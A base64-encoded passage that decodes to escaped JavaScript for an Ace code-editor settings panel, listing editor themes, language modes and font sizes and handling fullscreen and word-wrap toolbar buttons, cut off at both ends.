ICAgICAgICAgICAgICAgICAgICAgXCJtb25vX2luZHVzdHJpYWxcIjogXCJNb25vIEluZHVzdHJpYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibW9ub2thaVwiOiBcIk1vbm9rYWlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzdGVsX29uX2RhcmtcIjogXCJQYXN0ZWwgb24gZGFya1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzb2xhcml6ZWRfZGFya1wiOiBcIlNvbGFyaXplZCBEYXJrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRlcm1pbmFsXCI6IFwiVGVybWluYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRcIjogXCJUb21vcnJvdyBOaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9ibHVlXCI6IFwiVG9tb3Jyb3cgTmlnaHQgQmx1ZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0b21vcnJvd19uaWdodF9icmlnaHRcIjogXCJUb21vcnJvdyBOaWdodCBCcmlnaHRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXNcIjogXCJUb21vcnJvdyBOaWdodCA4MHNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidHdpbGlnaHRcIjogXCJUd2lsaWdodFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aWJyYW50X2lua1wiOiBcIlZpYnJhbnQgSW5rXCJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhY2VNb2RlXCI6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhc2NyaXB0XCI6IFwiSmF2YVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFiYXBcIjogXCJBQkFQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWJjXCI6IFwiQUJDXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWN0aW9uc2NyaXB0XCI6IFwiQWN0aW9uU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYWRhXCI6IFwiQURBXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYXBhY2hlX2NvbmZcIjogXCJBcGFjaGUgQ29uZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFzY2lpZG9jXCI6IFwiQXNjaWlEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc2xcIjogXCJBU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhc3NlbWJseV94ODZcIjogXCJBc3NlbWJseSB4ODZcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJhdXRvaG90a2V5XCI6IFwiQXV0b0hvdEtleVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImFwZXhcIjogXCJBcGV4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmF0Y2hmaWxlXCI6IFwiQmF0Y2hGaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYnJvXCI6IFwiQnJvXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY19jcHBcIjogXCJDIGFuZCBDKytcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjOXNlYXJjaFwiOiBcIkM5U2VhcmNoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY2lycnVcIjogXCJDaXJydVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNsb2p1cmVcIjogXCJDbG9qdXJlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY29ib2xcIjogXCJDb2JvbFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvZmZlZVwiOiBcIkNvZmZlZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImNvbGRmdXNpb25cIjogXCJDb2xkRnVzaW9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NoYXJwXCI6IFwiQyNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfZG9jdW1lbnRcIjogXCJDc291bmQgRG9jdW1lbnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJjc291bmRfb3JjaGVzdHJhXCI6IFwiQ3NvdW5kXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NvdW5kX3Njb3JlXCI6IFwiQ3NvdW5kIFNjb3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3NzXCI6IFwiQ1NTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiY3VybHlcIjogXCJDdXJseVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRcIjogXCJEXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZGFydFwiOiBcIkRhcnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkaWZmXCI6IFwiRGlmZlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImRvY2tlcmZpbGVcIjogXCJEb2NrZXJmaWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZG90XCI6IFwiRG90XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZHJvb2xzXCI6IFwiRHJvb2xzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZWRpZmFjdFwiOiBcIkVkaWZhY3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlaWZmZWxcIjogXCJFaWZmZWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlanNcIjogXCJFSlNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbGl4aXJcIjogXCJFbGl4aXJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlbG1cIjogXCJFbG1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJlcmxhbmdcIjogXCJFcmxhbmdcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb3J0aFwiOiBcIkZvcnRoXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZm9ydHJhblwiOiBcIkZvcnRyYW5cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2hhcnBcIjogXCJGU2hhcnBcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmc2xcIjogXCJGU0xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmdGxcIjogXCJGcmVlTWFya2VyXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2NvZGVcIjogXCJHY29kZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdoZXJraW5cIjogXCJHaGVya2luXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2l0aWdub3JlXCI6IFwiR2l0aWdub3JlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ2xzbFwiOiBcIkdsc2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2JzdG9uZXNcIjogXCJHb2JzdG9uZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJnb2xhbmdcIjogXCJHb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImdyYXBocWxzY2hlbWFcIjogXCJHcmFwaFFMU2NoZW1hXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiZ3Jvb3Z5XCI6IFwiR3Jvb3Z5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFtbFwiOiBcIkhBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYW5kbGViYXJzXCI6IFwiSGFuZGxlYmFyc1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhhc2tlbGxcIjogXCJIYXNrZWxsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaGFza2VsbF9jYWJhbFwiOiBcIkhhc2tlbGwgQ2FiYWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJoYXhlXCI6IFwiaGFYZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImhqc29uXCI6IFwiSGpzb25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJodG1sXCI6IFwiSFRNTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfZWxpeGlyXCI6IFwiSFRNTCAoRWxpeGlyKVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImh0bWxfcnVieVwiOiBcIkhUTUwgKFJ1YnkpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW5pXCI6IFwiSU5JXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiaW9cIjogXCJJb1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImphY2tcIjogXCJKYWNrXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiamFkZVwiOiBcIkphZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqYXZhXCI6IFwiSmF2YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImpzb25cIjogXCJKU09OXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNvbmlxXCI6IFwiSlNPTmlxXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNwXCI6IFwiSlNQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwianNzbVwiOiBcIkpTU01cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqc3hcIjogXCJKU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJqdWxpYVwiOiBcIkp1bGlhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwia290bGluXCI6IFwiS290bGluXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGF0ZXhcIjogXCJMYVRlWFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxlc3NcIjogXCJMRVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlxdWlkXCI6IFwiTGlxdWlkXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibGlzcFwiOiBcIkxpc3BcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJsaXZlc2NyaXB0XCI6IFwiTGl2ZVNjcmlwdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxvZ2lxbFwiOiBcIkxvZ2lRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImxzbFwiOiBcIkxTTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YVwiOiBcIkx1YVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcImx1YXBhZ2VcIjogXCJMdWFQYWdlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibHVjZW5lXCI6IFwiTHVjZW5lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWFrZWZpbGVcIjogXCJNYWtlZmlsZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hcmtkb3duXCI6IFwiTWFya2Rvd25cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJtYXNrXCI6IFwiTWFza1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hdGxhYlwiOiBcIk1BVExBQlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm1hemVcIjogXCJNYXplXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWVsXCI6IFwiTUVMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibWl4YWxcIjogXCJNSVhBTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcIm11c2hjb2RlXCI6IFwiTVVTSENvZGVcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJteXNxbFwiOiBcIk15U1FMXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibml4XCI6IFwiTml4XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwibnNpc1wiOiBcIk5TSVNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvYmplY3RpdmVjXCI6IFwiT2JqZWN0aXZlLUNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJvY2FtbFwiOiBcIk9DYW1sXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGFzY2FsXCI6IFwiUGFzY2FsXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGVybFwiOiBcIlBlcmxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwZXJsNlwiOiBcIlBlcmwgNlwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInBnc3FsXCI6IFwicGdTUUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwaHBfbGFyYXZlbF9ibGFkZVwiOiBcIlBIUCAoQmxhZGUgVGVtcGxhdGUpXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGhwXCI6IFwiUEhQXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHVwcGV0XCI6IFwiUHVwcGV0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicGlnXCI6IFwiUGlnXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicG93ZXJzaGVsbFwiOiBcIlBvd2Vyc2hlbGxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcmFhdFwiOiBcIlByYWF0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvbG9nXCI6IFwiUHJvbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHJvcGVydGllc1wiOiBcIlByb3BlcnRpZXNcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJwcm90b2J1ZlwiOiBcIlByb3RvYnVmXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicHl0aG9uXCI6IFwiUHl0aG9uXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiclwiOiBcIlJcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyYXpvclwiOiBcIlJhem9yXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicmRvY1wiOiBcIlJEb2NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyZWRcIjogXCJSZWRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJyaHRtbFwiOiBcIlJIVE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnN0XCI6IFwiUlNUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwicnVieVwiOiBcIlJ1YnlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJydXN0XCI6IFwiUnVzdFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNhc3NcIjogXCJTQVNTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NhZFwiOiBcIlNDQURcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzY2FsYVwiOiBcIlNjYWxhXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2NoZW1lXCI6IFwiU2NoZW1lXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2Nzc1wiOiBcIlNDU1NcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzaFwiOiBcIlNIXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2pzXCI6IFwiU0pTXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic2xpbVwiOiBcIlNsaW1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbWFydHlcIjogXCJTbWFydHlcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJzbmlwcGV0c1wiOiBcInNuaXBwZXRzXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic295X3RlbXBsYXRlXCI6IFwiU295IFRlbXBsYXRlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwic3BhY2VcIjogXCJTcGFjZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbFwiOiBcIlNRTFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInNxbHNlcnZlclwiOiBcIlNRTFNlcnZlclwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN0eWx1c1wiOiBcIlN0eWx1c1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN2Z1wiOiBcIlNWR1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInN3aWZ0XCI6IFwiU3dpZnRcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0Y2xcIjogXCJUY2xcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXJyYWZvcm1cIjogXCJUZXJyYWZvcm1cIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXhcIjogXCJUZXhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0ZXh0XCI6IFwiVGV4dFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInRleHRpbGVcIjogXCJUZXh0aWxlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidG9tbFwiOiBcIlRvbWxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0c3hcIjogXCJUU1hcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ0d2lnXCI6IFwiVHdpZ1wiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInR5cGVzY3JpcHRcIjogXCJUeXBlc2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmFsYVwiOiBcIlZhbGFcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2YnNjcmlwdFwiOiBcIlZCU2NyaXB0XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmVsb2NpdHlcIjogXCJWZWxvY2l0eVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcInZlcmlsb2dcIjogXCJWZXJpbG9nXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwidmhkbFwiOiBcIlZIRExcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJ2aXN1YWxmb3JjZVwiOiBcIlZpc3VhbGZvcmNlXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwid29sbG9rXCI6IFwiV29sbG9rXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieG1sXCI6IFwiWE1MXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieHF1ZXJ5XCI6IFwiWFF1ZXJ5XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwieWFtbFwiOiBcIllBTUxcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJkamFuZ29cIjogXCJEamFuZ29cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgXCJmb250U2l6ZVwiOiB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDg6IDgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEwOiAxMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTE6IDExLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxMjogMTIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDEzOiAxMyxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTQ6IDE0LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxNTogMTUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDE2OiAxNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMTc6IDE3LFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAxODogMTgsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIwOiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMjI6IDIyLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAyNDogMjQsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDI2OiAyNixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMzA6IDMwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmFjZU1vZGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKFwiYWNlXC9tb2RlXC9cIiwgX2RhdGEuYWNlTW9kZSkpO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIGlmIChfZGF0YSAmJiBfZGF0YS5hY2VUaGVtZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKFwiYWNlXC90aGVtZVwvXCIsIF9kYXRhLmFjZVRoZW1lLmJyaWdodCksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZGFya1RoZW1lID0gb3B0aW9uTm9kZShcImFjZVwvdGhlbWVcL1wiLCBfZGF0YS5hY2VUaGVtZS5kYXJrKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICR0aGVtZUVsLmh0bWwoXCI8b3B0Z3JvdXAgbGFiZWw9XFxcIkJyaWdodFxcXCI+XCIgKyBsaWdodFRoZW1lICsgXCI8XC9vcHRncm91cD48b3B0Z3JvdXAgbGFiZWw9XFxcIkRhcmtcXFwiPlwiICsgZGFya1RoZW1lICsgXCI8XC9vcHRncm91cD5cIik7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgaWYgKF9kYXRhICYmIF9kYXRhLmZvbnRTaXplKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZm9udFNpemVFbC5odG1sKG9wdGlvbk5vZGUoXCJcIiwgX2RhdGEuZm9udFNpemUpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAkbW9kZUVsLnZhbChlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQpO1xuICAgICAgICAgICAgICAgICAgICAkdGhlbWVFbC52YWwoZWRpdG9yLmdldFRoZW1lKCkpO1xuICAgICAgICAgICAgICAgICAgICAkKGZ1bmN0aW9uKCkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZvbnRTaXplRWwudmFsKDEyKS5jaGFuZ2UoKTtcbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgJChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7XG4gICAgICAgICAgICAgICAgICAgICQoXCIuanMtYWNlLXRvb2xiYXJcIikub24oXCJjbGlja1wiLCAnYnV0dG9uJywgZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgbGV0IGNtZFZhbHVlID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1jbWRcIiksXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKFwiZGF0YS1vcHRpb25cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gXCJub25lXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhY2VfY29tbWVuZChjbWRWYWx1ZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlZGl0b3JPcHRpb24gPT0gXCJmdWxsc2NyZWVuXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCAhPT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgJiYgbnVsbCA9PT0gZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50ICYmIG51bGwgPT09IGRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQgfHwgdm9pZCAwICE9PSBkb2N1bWVudC5tb3pGdWxsU2NyZWVuICYmICFkb2N1bWVudC5tb3pGdWxsU2NyZWVuIHx8IHZvaWQgMCAhPT0gZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuICYmICFkb2N1bWVudC53ZWJraXRJc0Z1bGxTY3JlZW4pICYmXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIChlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuID8gZWRpdG9yLmNvbnRhaW5lci5yZXF1ZXN0RnVsbFNjcmVlbigpIDogZWRpdG9yLmNvbnRhaW5lci5tb3pSZXF1ZXN0RnVsbFNjcmVlbiA/IGVkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKSA6IGVkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4gPyBlZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuKEVsZW1lbnQuQUxMT1dfS0VZQk9BUkRfSU5QVVQpIDogZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuICYmIGVkaXRvci5jb250YWluZXIubXNSZXF1ZXN0RnVsbHNjcmVlbigpKTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKGVkaXRvck9wdGlvbiA9PSBcIndyYXBcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZXQgd3JhcFN0YXR1cyA9IChlZGl0b3IuZ2V0U2Vzc2lvbigpLmdldFVzZVdyYXBNb2RlKCkpID8gZmFsc2UgOiB0cnVlO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldFVzZVdyYXBNb2RlKHdyYXBTdGF0dXMpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJChcInNlbGVjdCNqcy1hY2UtbW9kZSwgc2VsZWN0I2pzLWFjZS10aGVtZSwgc2VsZWN0I2pzLWFjZS1mb250U2l6ZVwiKS5vbihcImNoYW5nZVwiLC